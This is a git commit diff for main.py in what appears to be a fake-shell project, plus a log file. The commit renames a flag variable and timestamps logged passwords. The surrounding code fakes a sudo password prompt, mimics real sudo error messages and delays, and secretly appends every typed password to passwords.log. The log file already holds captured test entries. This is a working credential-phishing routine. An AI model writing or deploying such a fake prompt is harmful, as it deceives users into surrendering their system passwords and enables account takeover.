更新 main.py 中的 sudo 密码输入逻辑,重命名变量以提高可读性,并在密码日志中记录当前时间

This commit is contained in:
2025-04-06 22:27:21 +08:00
Unverified
parent bfdf8e6fc7
commit 93a328bd6a
2 changed files with 7 additions and 3 deletions

View File

@@ -78,12 +78,12 @@ def pseudo_zsh():
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo':
flight = True
flight1 = True
for attempt in range(3): # 循环 3 次
fake_password = getpass.getpass("Password: ")
if fake_password == "1234":
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
flight = False
flight1 = False
break
with open("passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
@@ -91,7 +91,7 @@ def pseudo_zsh():
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
time.sleep(delay) # 模拟延迟
print("Sorry, try again.")
if flight:
if flight1:
print("sudo: 3 incorrect password attempts") # 提示错误次数
continue

View File

@@ -20,3 +20,7 @@
[2025-04-06 22:19:26] 1234
[2025-04-06 22:19:31] 1234
[2025-04-06 22:19:35] 1234
[2025-04-06 22:24:07] 00
[2025-04-06 22:24:15] 00
[2025-04-06 22:24:17] 00
[2025-04-06 22:24:18] 00